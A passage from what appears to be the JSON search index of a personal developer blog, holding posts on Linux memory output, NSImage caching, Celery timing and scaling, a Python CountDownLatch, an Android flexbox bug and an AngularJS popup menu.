past\nits an insult to YOU.\nEssentially, its an insult to whatever you are today. Whatever you are today, its because of them.\n","permalink":"https://madhur.co.in/blog/2016/04/08/calling-former-employers-shit.html","summary":"\u003cp\u003eDo you call your past employers shit ?\u003c/p\u003e\n\u003cp\u003eif yes,\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eits an insult to all the leaders who have guided you\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eits an insult to the time you have spent working in the past\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eits an insult to YOU.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eEssentially, its an insult to whatever you are today. Whatever you are today, its because of them.\u003c/p\u003e","title":"On calling your former employers shit"},{"content":"If you are managing Linux machines daily like me, its important to understnad the output of free command, which shows the free system memory.\n[root@localhost vagrant]# free total used free shared buff/cache available Mem: 5824332 2292284 1155732 132980 2376316 3087844 Swap: 839676 18172 821504 [root@localhost vagrant]# free -g is much more helpful instead\n[root@localhost vagrant]# free -g total used free shared buff/cache available Mem: 5 2 1 0 2 2 Swap: 0 0 0 [root@localhost vagrant]# Some flavours of linux might output in this format:\ntotal used free shared buffers cached Mem: 62 46 16 0 0 10 -/+ buffers/cache: 35 27 Swap: 0 0 0 ----------------------------- total - Your total, physical (assuming no virtualization) memory used - How much of that is currently used (by anything) free - How much of that is completely free (not used at all) shared - (never anything there, ignore that column) buffers - Memory used by kernel buffers cached - Memory used for cache Essentially, the figures which we should be focussing on is -/+ buffers/cache which excludes the used buffer.\n","permalink":"https://madhur.co.in/blog/2016/04/08/understanding-free-output.html","summary":"\u003cp\u003eIf you are managing Linux machines daily like me, its important to understnad the output of \u003ccode\u003efree\u003c/code\u003e command, which shows the free system memory.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e[root@localhost vagrant]# free\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e              total        used        free      shared  buff/cache   available\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eMem:        5824332     2292284     1155732      132980     2376316     3087844\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eSwap:        839676       18172      821504\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e[root@localhost vagrant]#\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003efree -g\u003c/code\u003e is much more helpful instead\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e[root@localhost vagrant]# free -g\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e              total        used        free      shared  buff/cache   available\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eMem:              5           2           1           0           2           2\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eSwap:             0           0           0\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e[root@localhost vagrant]#\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eSome flavours of linux might output in this format:\u003c/p\u003e","title":"Understanding free output in Linux"},{"content":"Recently, I encountered an issue where an NSImage instance was cached inspite of setting NSImageCacheMode.Never\nSpecifically, the issue was:\nI have bunch of images in my assets. What I am trying to do is render the image in status bar of OSX as following:\nlet icon = NSImage(named: \u0026#34;statusIcon\u0026#34;) icon?.size = NSSize.init(width: 18, height: 18) icon?.template = true statusItem.image = icon statusItem.menu = statusMenu and also using it in one of my view which opens:\nself.dayIcon.image = NSImage(named: \u0026#34;statusIcon\u0026#34;) The problem is as soon as I set the status bar image, the image in the view also changes, i.e. both the color and the size(changes to 18x18)\nI have tried using icon?.cacheMode = NSImageCacheMode.Never but there is no effect.\nSolution [NSImage imageNamed:] may return an existing cached instance of the image.\nThey are not, and that is, indeed, your problem.\nIf you want to change the size on the image without affecting anyone else who may be holding a reference, make a copy of it. The copy of the NSImage is lightweight - it doesn\u0026rsquo;t duplicate the underlying image representations which hold the rendering (bitmap, in the PNG case) data.\nThis is the correct code:\nlet icon = NSImage(named: \u0026#34;statusIcon\u0026#34;).copy() as! NSImage icon.size = NSSize.init(width: 18, height: 18) icon.template = true statusItem.image = icon statusItem.menu = statusMenu ","permalink":"https://madhur.co.in/blog/2016/01/25/using-ns-image.html","summary":"\u003cp\u003eRecently, I encountered an issue where an \u003ccode\u003eNSImage\u003c/code\u003e instance was cached inspite of setting \u003ccode\u003eNSImageCacheMode.Never\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eSpecifically, the issue was:\u003cbr\u003e\nI have bunch of images in my assets. What I am trying to do is render the image in status bar of OSX as following:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-swift\" data-lang=\"swift\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nv\"\u003eicon\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eNSImage\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enamed\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;statusIcon\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eicon\u003c/span\u003e\u003cspan class=\"p\"\u003e?.\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eNSSize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"kd\"\u003einit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ewidth\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e18\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eheight\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e18\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eicon\u003c/span\u003e\u003cspan class=\"p\"\u003e?.\u003c/span\u003e\u003cspan class=\"n\"\u003etemplate\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003estatusItem\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eimage\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eicon\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003estatusItem\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003emenu\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003estatusMenu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eand also using it in one of my view which opens:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-swift\" data-lang=\"swift\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kc\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edayIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eimage\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eNSImage\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enamed\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;statusIcon\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe problem is as soon as I set the status bar image, the image in the view also changes, i.e. both the color and the size(changes to 18x18)\u003c/p\u003e","title":"NSImage Caching"},{"content":"Back in the old days, Usenet used to be a central place for discussion among developers. It is still in use these days, however its fading away fast. Linus announced its development of Linux on this thread on comp.os.minux\nMost of the usenet groups are now archived in Google groups. The discussion landscape is now scattered. There are Google groups, XDA Forums for mobiles and Stackoverflow and other exchange sites for programming, mailing lists for linux and security\nBelow are some of my select resources for developers on Google groups\nJava Akka user list asynchttpclient RxJava Android Android Building Android Platform adt-dev acra-discuss Facebook for Android Beta testers Javascript backbonejs faye-users firebug httpfiddler ReactJs nodejs Jquery JsTree Ruby / Python Jekyll celery-users AngularJs AngularJs angular-cache angular-data Google Google App Engine Google Tasks API Google Visualization API Adsense API Forum Others rabbitmq-discuss rabbitmq-users Redis memcached Stomp MongoDb User ","permalink":"https://madhur.co.in/blog/2016/01/03/google-groups-developers.html","summary":"\u003cp\u003eBack in the old days, \u003ca href=\"https://en.wikipedia.org/wiki/Usenet\"\u003eUsenet\u003c/a\u003e used to be a central place for discussion among developers. It is still in use these days, however its fading away fast. \u003ca href=\"https://en.wikipedia.org/wiki/Linus_Torvalds\"\u003eLinus\u003c/a\u003e announced its development of \u003ca href=\"https://en.wikipedia.org/wiki/Linux\"\u003eLinux\u003c/a\u003e on \u003ca href=\"https://groups.google.com/forum/#!topic/comp.os.minix/dlNtH7RRrGA%5B1-25%5D\"\u003ethis thread on comp.os.minux\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eMost of the usenet groups are now archived in \u003ca href=\"https://support.google.com/groups/answer/6003482?hl=en\"\u003eGoogle groups\u003c/a\u003e. The discussion landscape is now scattered. There are \u003ca href=\"https://groups.google.com/forum/#!overview\"\u003eGoogle groups\u003c/a\u003e, \u003ca href=\"http://forum.xda-developers.com/\"\u003eXDA Forums\u003c/a\u003e for mobiles and \u003ca href=\"http://stackoverflow.com/\"\u003eStackoverflow\u003c/a\u003e and \u003ca href=\"http://stackexchange.com/\"\u003eother exchange sites\u003c/a\u003e for programming, mailing lists for \u003ca href=\"http://vger.kernel.org/vger-lists.html\"\u003elinux\u003c/a\u003e and \u003ca href=\"http://seclists.org/\"\u003esecurity\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eBelow are some of my select resources for developers on \u003ca href=\"https://groups.google.com/forum/#!overview\"\u003eGoogle groups\u003c/a\u003e\u003c/p\u003e","title":"Google groups for Developers"},{"content":"Just stumbled upon this great video by Douglas Crockford.\nMust watch for anyone programming or/and managing programmers.\n","permalink":"https://madhur.co.in/blog/2015/12/27/managing-programmers.html","summary":"\u003cp\u003eJust stumbled upon this great video by \u003ca href=\"https://en.wikipedia.org/wiki/Douglas_Crockford\"\u003eDouglas Crockford\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eMust watch for anyone programming or/and managing programmers.\u003c/p\u003e\n\u003ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/NPlMcUxFOlY\" frameborder=\"0\" allowfullscreen\u003e\u003c/iframe\u003e","title":"Managing Programmers By Douglas Crockford"},{"content":"With one of our current project, I had to debug performance issues related to DNS resolution. A nasty networking issue was taking 5 seconds to resolve one of our internal DNS hostname. I wanted to time all the python functions and celery tasks. I wrote a @timeit decorator that allows your to time the python function execution times.\nHowever, this decorator doesn\u0026rsquo;t work for celery tasks, since those functions are returned immediately. Instead, for celery, I used task_prerun and task_postrun signals which are called before and after every task execution.\nfrom celery.signals import task_prerun, task_postrun d = {} @task_prerun.connect def task_prerun_handler(signal, sender, task_id, task, args, kwargs): d[task_id] = time() @task_postrun.connect def task_postrun_handler(signal, sender, task_id, task, args, kwargs, retval, state): try: cost = time() - d.pop(task_id) except KeyError: cost = -1 print task.__name__ + \u0026#39; \u0026#39; + str(cost) @timeit decorator\nimport time def timeit(method): def timed(*args, **kw): ts = time.time() result = method(*args, **kw) te = time.time() print \u0026#39;%r (%r, %r) %2.2f sec\u0026#39; % \\ (method.__name__, args, kw, te-ts) return result return timed And here is the output looks like:\n\u0026#39;get_followers\u0026#39; ((u\u0026#39;madhur\u0026#39;,), {}) 1.42 sec \u0026#39;prepare_message\u0026#39; (([], u\u0026#39;madhur\u0026#39;, ([], [])), {}) 0.02 sec ","permalink":"https://madhur.co.in/blog/2015/12/14/timing-function-calls.html","summary":"\u003cp\u003eWith one of our current project, I had to debug performance issues related to DNS resolution. A nasty networking issue was taking 5 seconds to resolve one of our internal DNS hostname. I wanted to time all the python functions and celery tasks. I wrote a \u003ccode\u003e@timeit\u003c/code\u003e decorator that allows your to time the python function execution times.\u003c/p\u003e\n\u003cp\u003eHowever, this decorator doesn\u0026rsquo;t work for celery tasks, since those functions are returned immediately. Instead, for celery, I used \u003ca href=\"http://docs.celeryproject.org/en/latest/userguide/signals.html#task-prerun\"\u003e\u003ccode\u003etask_prerun\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"http://docs.celeryproject.org/en/latest/userguide/signals.html#task-postrun\"\u003e\u003ccode\u003etask_postrun\u003c/code\u003e\u003c/a\u003e signals which are called before and after every task execution.\u003c/p\u003e","title":"Timing function / task execution in Celery"},{"content":"Just added the much needed notification ringtone preference to Feed Notifier.\nNow you can set your favorite notification sound to be played whenever you recieve a new notification.\nHead over to play store for an update\n","permalink":"https://madhur.co.in/blog/2015/12/06/notification-feed-notifier.html","summary":"\u003cp\u003eJust added the much needed notification ringtone preference to \u003ca href=\"https://play.google.com/store/apps/details?id=in.co.madhur.dashclockfeedlyextension\u0026amp;hl=en\"\u003eFeed Notifier\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eNow you can set your favorite notification sound to be played whenever you recieve a new notification.\u003c/p\u003e\n\u003cp\u003eHead over to play store for an \u003ca href=\"https://play.google.com/store/apps/details?id=in.co.madhur.dashclockfeedlyextension\u0026amp;hl=en\"\u003eupdate\u003c/a\u003e\u003c/p\u003e","title":"Ringtone Preference in Feed Notifier"},{"content":"One of our webview pages had a strange issue in production. We are using an angular component angularjs-slider on one of our pages. On some of the devices, the width of this component was way lesser than we had defined in our code (around 90% of the width of page)\nMore analysis revealed that the issue occurred on only pre-kitkat devices. The strange thing was that we were using other controls like normal input and label but they were not affected. We tried every CSS tweak to solve this issue but no avail.\nAnd then, I stumbled upon this issue. Turned out that this issue was because of ionic framework. Ionic framework by default uses Flexible Box Layout Module called as flex in short. As per this flex is only supported on Android 4.4 and above.\nSolution The solution was just a one line change where we override the display property to block instead of flex\n\u0026lt;div class=\u0026#34;item range range-item\u0026#34;\u0026gt; \u0026lt;rzslider rz-slider-model=\u0026#34;data.experience\u0026#34; rz-slider-floor=\u0026#34;0\u0026#34; rz-slider-text=\u0026#34; years\u0026#34; rz-slider-min-lable=\u0026#34;\u0026lt;1 year\u0026#34; rz-slider-max-lable=\u0026#34;10+ years\u0026#34; rz-exp-silder-id=\u0026#34;expSlider\u0026#34; rz-slider-ceil=\u0026#34;11\u0026#34; \u0026gt;\u0026lt;/rzslider\u0026gt; \u0026lt;/div\u0026gt; changed to\n\u0026lt;div class=\u0026#34;item range range-item\u0026#34; style=\u0026#34;display:block\u0026#34;\u0026gt; \u0026lt;rzslider rz-slider-model=\u0026#34;data.experience\u0026#34; rz-slider-floor=\u0026#34;0\u0026#34; rz-slider-text=\u0026#34; years\u0026#34; rz-slider-min-lable=\u0026#34;\u0026lt;1 year\u0026#34; rz-slider-max-lable=\u0026#34;10+ years\u0026#34; rz-exp-silder-id=\u0026#34;expSlider\u0026#34; rz-slider-ceil=\u0026#34;11\u0026#34; \u0026gt;\u0026lt;/rzslider\u0026gt; \u0026lt;/div\u0026gt; ","permalink":"https://madhur.co.in/blog/2015/11/29/flexbox-not-supported.html","summary":"\u003cp\u003eOne of our webview pages had a strange issue in production. We are using an angular component \u003ca href=\"https://github.com/rzajac/angularjs-slider\"\u003eangularjs-slider\u003c/a\u003e on one of our pages. On some of the devices, the width of this component was way lesser than we had defined in our code (around 90% of the width of page)\u003c/p\u003e\n\u003cp\u003eMore analysis revealed that the issue occurred on only pre-kitkat devices. The strange thing was that we were using other controls like normal \u003ccode\u003einput\u003c/code\u003e and \u003ccode\u003elabel\u003c/code\u003e but they were not affected. We tried every CSS tweak to solve this issue but no avail.\u003c/p\u003e","title":"Flexbox is not supported Android 4.3 and below"},{"content":"Recently, we implemented the Celery Task queue in our production environment for variety of scheduled and periodic tasks. Just to give few numbers, it processes more than 10 million tasks per day, all of which are external HTTP based calls. During the development phase, we encountered various experiences, some of which have been documented below. In my opinion, Celery seems to be more dominant choice where Python is the primary programming language. However, we integrated it with our J2EE based system with quite ease. Perhaps, it is less a question of celery\u0026rsquo;s ability to interoperate, rather it is more a question of how much your development team is willing to go outside Java\u0026rsquo;s ecosystem and look for alternatives for systems such as Jesque\nCelery is a simple, flexible and reliable distributed system to process vast amounts of messages, while providing operations with the tools required to maintain such a system.\nIt’s a task queue with focus on real-time processing, while also supporting task scheduling.\nUse RabbitMQ as the broker instead of Redis, Mysql or anything else\nRabbit\u0026rsquo;s queues reside in memory and will therefore be much faster than implementing this in a database.\nThere are some problems with using the database as the broker:\npolling keeping the database buzy and low performing locking of the table -\u0026gt; again low performing millions of rows of task -\u0026gt; again polling is low performing Use a process control system such as Supervisor to run Celery in production Also, see Running the worker as daemon\nIf you are eying scale, this is a must read:\nhttp://spring.io/blog/2011/04/01/routing-topologies-for-performance-and-scalability-with-rabbitmq/\nIf you are looking for reliability, use CELERY_ACKS_LATE = True\nWhat does it do? Well, as the docs says\nWhen enabled messages for this task will be acknowledged after the task has been executed, and not just before which is the default behavior.\nPlease note that this means the task may be executed twice if the worker crashes mid execution (which may be acceptable for some applications).\nThis also requires that the tasks can be restarted from middle without any side effects. This might require using transactions if the task is involved in db operations.\nCELERY_TASK_SERIALIZER='json'\nUsing JSON as the serializer enables easy debugging as you can inspect stored messages in the AMQP broker easily. However, it comes with the disadvantage of being around 34% larger than an encoding which supports native binary types.\nLogically separate queues for your tasks\nBy default celery will create just one queue celery for all your tasks. This is undesirable when you are especially targeting for scale. Logically separating your tasks into queues will allow you to separately dedicate different number of workers for each queue.\ncelery -A tasks worker -Q github,email -B\nRun Celery beat scheduler as a separate service than running it with worker. This is documented on celery page:\nhttp://docs.celeryproject.org/en/latest/userguide/periodic-tasks.html\nUse -Ofair to make sure the tasks are distributed evenly. (it comes with an overhead of coordination but the results are more predictable if tasks takes different amount of time to execute.)\nUse –maxtasksperchild argument to tell celery to use a particular worker for only n number of tasks, if you think there is even a slight possibility of memory leak. Celery can kill a worker and re-spawn a new one to make sure memory is released and it does not hamper the systems performance.\nUse a global timeout to make sure your workers does not get stuck. You can set soft and hard timeout and even notify the task to wrap up or log stuff before it is killed by celery using the soft timeout option.\nIntelligently anticipate errors / exceptions and retry only where it makes sense\nI have seen developers blindly putting `try` `except` block with a `retry` statement and then showing off that how `safe` their code is from failures. This is not a good idea. For example, consider the simple task below, which fails because of division by zero in some case (where random no. zero is generated) @app.task(default_retry_delay = 5, bind = True, max_retries = None) def divbad_noretry(self): a = 2 b = random.randing(-1, 5) c = a/b print c return c We can blindly put the except block with a retry logic, but this is a terrible idea. The tasks will now go into infinite retry loop causing waste of CPU resources unless back off is used\n@app.task(default_retry_delay = 5, bind = True, max_retries = None) def divbad_retry(self): try: a = 2 b = 0 c = a/b print c except: print \u0026#39;exception caught: Divide by zero\u0026#39; raise self.retry() return c Another example is a programming mistake, for example:\n@app.task(default_retry_delay = 5, bind = True, max_retries = None) def codebad_noretry(self): a = 2 b = 0 print d return c Here the variable d is getting printed without getting defined. The except and retry logic below is also unnecessary. The better solution is to resolve the programming error.\n@app.task(default_retry_delay = 5, bind = True, max_retries = None) def codebad_retry(self): try: a = 2 b = 0 print d except: print \u0026#39;exception caught: global name d is not defined\u0026#39; raise self.retry() return c ","permalink":"https://madhur.co.in/blog/2015/11/17/celery-tips-and-tricks.html","summary":"\u003cp\u003eRecently, we implemented the \u003ca href=\"http://docs.celeryproject.org/en/latest/index.html\"\u003eCelery Task queue\u003c/a\u003e in our production environment for variety of scheduled and periodic tasks. Just to give few numbers, it processes more than 10 million tasks per day, all of which are external HTTP based calls. During the development phase, we encountered various experiences, some of which have been documented below. In my opinion, Celery seems to be more dominant choice where Python is the primary programming language. However, we integrated it with our J2EE based system with quite ease. Perhaps, it is less a question of celery\u0026rsquo;s ability to interoperate,  rather it is more a question of how much your development team is willing to go outside Java\u0026rsquo;s ecosystem and look for alternatives for systems such as \u003ca href=\"https://github.com/gresrun/jesque\"\u003eJesque\u003c/a\u003e\u003c/p\u003e","title":"Scaling Celery Task queue"},{"content":"In Java, there is a very useful construct called CountDownLatch to solve many multithreaded and asynchronous programming scenarios.\nIn tech terms it is simply\nA synchronization aid that allows one or more threads to wait until a set of operations being performed in other threads completes.\nFor example, you might have a third party API call which is asynchronous in nature. Many scenarios require that you call multiple of them and perform an action if all of them succeed OR perform another action even if one of them fails.\nIn the case below, we are using a popular message library called PubNub to send a message on a channel twice through the publish() method which is an async call\nfinal CountDownLatch latch = new CountDownLatch(2); final GrantStatus grantStatus = new GrantStatus(); pubnub.publish(userChannel, msg, new Callback() { @Override public void successCallback(String s, Object o) { // Success case grantStatus.setGrantStatus1(true); latch.countDown(); } public void errorCallback(String channel, PubnubError error) { // Failure case grantStatus.setGrantStatus1(false); latch.countDown(); } }); pubnub.publish(userChannel, msg, new Callback() { @Override public void successCallback(String s, Object o) { // success case grantStatus.setGrantStatus2(true); latch.countDown(); } public void errorCallback(String channel, PubnubError error) { // Failure case grantStatus.setGrantStatus2(false); latch.countDown(); } }); latch.await(); // This is a blocking call. It will block the thread till latch reaches zero if(grantStatus.getGrantStatus1() \u0026amp;\u0026amp; grantStatus.getGrantStatus2()) { // Both calls were success } else // One or both of the calls failed In the piece of code above, the thread blocks at latch.await() till both the API calls either succeeds or fails. This is preferable since it doesn\u0026rsquo;t uses Spin lock or Busy waiting\nI was trying to do a similar thing in Python. Without using any multithreading construct, this is the version I came up with. Pretty lame it is\ndef send_notification_task(self, user_id, content, **kwargs): status = {\u0026#39;result\u0026#39; : 0} msg = prepare_message(16182 , 16182, \u0026#39;Android\u0026#39;, \u0026#39;This is a text message\u0026#39;) def _callback(message): status[\u0026#39;result\u0026#39;] = 1 def _error(message): status[\u0026#39;result\u0026#39;] = 2 pubnub.publish(\u0026#39;16182\u0026#39;, msg, _callback, _error) while status[\u0026#39;result\u0026#39;] == 0: time.sleep(.001) if status[\u0026#39;result\u0026#39;] == 2: countdown = int(random.uniform(2, 4) ** self.request.retries) raise self.retry(countdown = countdown) elif status[\u0026#39;result\u0026#39;] == 1: return \u0026#39;success\u0026#39; Here without using any threading constucts, we are using a while loop with a sleep which is busy waiting.\nHow do we make it better? Enter Condition Objects\nUsing Condition Objects, we can make a very simple version of CountDownLatch as follows:\nimport threading class CountDownLatch(object): def __init__(self, count=1): self.count = count self.lock = threading.Condition() def count_down(self): self.lock.acquire() self.count -= 1 if self.count \u0026lt;= 0: self.lock.notifyAll() self.lock.release() def await(self): self.lock.acquire() while self.count \u0026gt; 0: self.lock.wait() self.lock.release() With this construct, we can improve our existing version of code significantly as follows:\ndef send_notification_task(self, user_id, content, **kwargs): latch = CountDownLatch(1) status = {\u0026#39;result\u0026#39; : 0} msg = prepare_message(16182 , 16182, \u0026#39;Android\u0026#39;, \u0026#39;This is a text message\u0026#39;) def _callback(message): status[\u0026#39;result\u0026#39;] = 1 latch.count_down() def _error(message): status[\u0026#39;result\u0026#39;] = 2 latch.count_down() pubnub.publish(\u0026#39;16182\u0026#39;, msg, _callback, _error) latch.await() if status[\u0026#39;result\u0026#39;] == 2: countdown = int(random.uniform(2, 4) ** self.request.retries) raise self.retry(countdown = countdown) elif status[\u0026#39;result\u0026#39;] == 1: return \u0026#39;success\u0026#39; The above method doesn\u0026rsquo;t uses a spinlock or busy waiting\n","permalink":"https://madhur.co.in/blog/2015/11/02/countdownlatch-python.html","summary":"\u003cp\u003eIn Java, there is a very useful construct called \u003ca href=\"https://docs.oracle.com/javase/7/docs/api/java/util/concurrent/CountDownLatch.html\"\u003e\u003ccode\u003eCountDownLatch\u003c/code\u003e\u003c/a\u003e to solve many multithreaded and asynchronous programming scenarios.\u003c/p\u003e\n\u003cp\u003eIn tech terms it is simply\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eA synchronization aid that allows one or more threads to wait until a set of operations being performed in\nother threads completes.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eFor example, you might have a third party API call which is asynchronous in nature. Many scenarios require that you call multiple of them and perform an action if all of them succeed OR perform another action even if one of them fails.\u003c/p\u003e","title":"CountDownLatch in Python using Condition Objects"},{"content":"After a popular demand, I have updated the Feed Notifier application to include sync at reduced intervals or 30 mins and 15 mins.\nIf you have not updated the app yet, head over to Play Store and update the app.\n","permalink":"https://madhur.co.in/blog/2015/10/25/feed-notifier-updated.html","summary":"\u003cp\u003eAfter a popular demand, I have updated the \u003ca href=\"https://play.google.com/store/apps/details?id=in.co.madhur.dashclockfeedlyextension\"\u003eFeed Notifier\u003c/a\u003e application to include sync at reduced intervals or 30 mins and 15 mins.\u003c/p\u003e\n\u003cp\u003eIf you have not updated the app yet, head over to Play Store and update the app.\u003c/p\u003e","title":"Feed notifier updated"},{"content":"After working in various frameworks such as Win32 API, WPF, Silverlight, Android and iOS over the years, one theme which has been common throughout all these frameworks is the restriction to modify the UI only through UI thread.\nThere are various ways in these frameworks to modify the UI through a thread other than UI thread. Some of them are captured in the articles below:\nAndroid - Communicating with UI Thread Silverlight - Dispatchign in Silverlight iOS - About threaded programming WPF - Threading model Why is such a restriction in place ? Some of these links provide insight:\nWhy are most UI frameworks single threaded? Multithreaded toolkits: A failed dream? Why are GUIs single threaded ","permalink":"https://madhur.co.in/blog/2015/10/18/ui-thread-modify.html","summary":"\u003cp\u003eAfter working in various frameworks such as Win32 API, WPF, Silverlight, Android and iOS over the years, one theme which has been common throughout all these frameworks is the restriction to modify the UI only through UI thread.\u003c/p\u003e\n\u003cp\u003eThere are various ways in these frameworks to modify the UI through a thread other than UI thread. Some of them are captured in the articles below:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAndroid - \u003ca href=\"http://developer.android.com/training/multiple-threads/communicate-ui.html\"\u003eCommunicating with UI Thread\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSilverlight - \u003ca href=\"http://www.wintellect.com/devcenter/jlikness/dispatching-in-silverlight\"\u003eDispatchign in Silverlight\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eiOS - \u003ca href=\"https://developer.apple.com/library/ios/documentation/Cocoa/Conceptual/Multithreading/AboutThreads/AboutThreads.html\"\u003eAbout threaded programming\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWPF  - \u003ca href=\"https://msdn.microsoft.com/en-us/library/vstudio/ms741870(v=vs.100).aspx\"\u003eThreading model\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eWhy is such a restriction in place ? Some of these links provide insight:\u003c/p\u003e","title":"Why is only UI thread allowed to modify the UI"},{"content":"Recently, I was required to write a popup menu for our chat application. The popup menu looked very similar to ones in Slack and Flock.\nI looked some sample impementations. Flock uses DOJO Toolkit to power its entire UI and its popup menu is also powered by it. Our application was already using AngularJs as a framework and I did not want to introduce another framework just for the sake of popup menu.\nLooking at slack, it seems to use its own custom implementation. I liked the slack implementation better than the flock one.\nFinally, I decided to write my own directive in angular for this feature. Take a look at this github repository for the soure code and how to use it in your own project.\nHow does this work Upon / character, a popup menu is rendered. Its template is fetched from partials/popupmenu.html file.\nHow do I configure the popup The input data is fetched from the appsettings.js file. Currently 3 levels are supported. In actual case, this data may come from a $http service.\n[{ id: 0, text: \u0026#34;Macros\u0026#34;, desc: \u0026#34;Includes greetings, apologies, goodbyes\u0026#34;, commands:[] }, { id: 1, text: \u0026#34;Upload 